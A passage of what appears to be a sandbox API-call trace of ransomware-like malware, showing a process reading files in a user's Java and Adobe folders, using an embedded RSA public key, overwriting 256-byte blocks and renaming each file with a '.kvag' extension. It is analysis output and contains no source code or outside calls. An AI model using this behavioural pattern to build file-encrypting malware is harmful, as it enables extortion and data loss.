CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0121.526] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.526] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.526] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.526] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.526] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.526] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0121.526] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.526] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.526] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.527] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0121.528] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8e062, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.528] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.528] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab.kvag")) returned 1 [0121.529] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi") returned=".msi" [0121.529] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.530] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=185344) returned 1 [0121.530] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.532] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2d3da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.532] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.534] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.534] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x25805, lpOverlapped=0x0) returned 1 [0121.535] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.535] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0121.536] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.536] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.536] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.536] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.536] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.536] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0121.536] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.537] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.537] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.537] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0121.538] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2d400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.538] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.538] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi.kvag")) returned 1 [0121.542] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0121.542] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0121.542] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0121.542] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0121.542] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0121.542] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0121.542] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.542] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.542] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.542] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.543] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.543] PathFindFileNameW (pszPath="") returned="" [0121.543] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0121.544] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties") returned=".properties" [0121.544] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.544] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=719) returned 1 [0121.544] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.546] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.546] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.548] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x2cf, lpOverlapped=0x0) returned 1 [0121.548] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.548] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3608020) returned 1 [0121.549] CryptCreateHash (in: hProv=0x3608020, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.549] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.549] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.549] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.549] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.549] CryptReleaseContext (hProv=0x3608020, dwFlags=0x0) returned 1 [0121.549] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.549] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.549] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.549] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0121.549] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.550] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.550] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties.kvag")) returned 1 [0121.552] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0121.552] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0121.553] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0121.553] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\") returned="jre1.7.0_45\\" [0121.553] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0121.553] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0121.553] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.553] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.553] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.553] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.553] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.553] PathFindFileNameW (pszPath="") returned="" [0121.553] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0121.553] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab") returned=".cab" [0121.553] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.555] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=25340970) returned 1 [0121.555] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.557] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x182ac04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.557] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.562] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x25805, lpOverlapped=0x0) returned 1 [0121.564] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.564] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3608020) returned 1 [0121.565] CryptCreateHash (in: hProv=0x3608020, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.565] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.565] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.565] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.565] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.565] CryptReleaseContext (hProv=0x3608020, dwFlags=0x0) returned 1 [0121.565] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.565] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.566] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.566] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0121.567] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x182ac2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.567] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.567] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab.kvag")) returned 1 [0122.037] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi") returned=".msi" [0122.037] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0122.039] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=906752) returned 1 [0122.039] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0122.041] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xdd5da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.042] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0122.043] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.043] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x25805, lpOverlapped=0x0) returned 1 [0122.046] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0122.046] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3608020) returned 1 [0122.047] CryptCreateHash (in: hProv=0x3608020, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0122.047] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0122.047] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0122.047] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0122.047] CryptDestroyHash (hHash=0x6183888) returned 1 [0122.047] CryptReleaseContext (hProv=0x3608020, dwFlags=0x0) returned 1 [0122.047] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0122.047] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0122.047] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0122.048] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0122.048] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xdd600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.049] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0122.049] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi.kvag")) returned 1 [0122.050] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0122.051] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0122.051] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0122.051] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\") returned="Search\\" [0122.051] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="10.0\\" [0122.051] 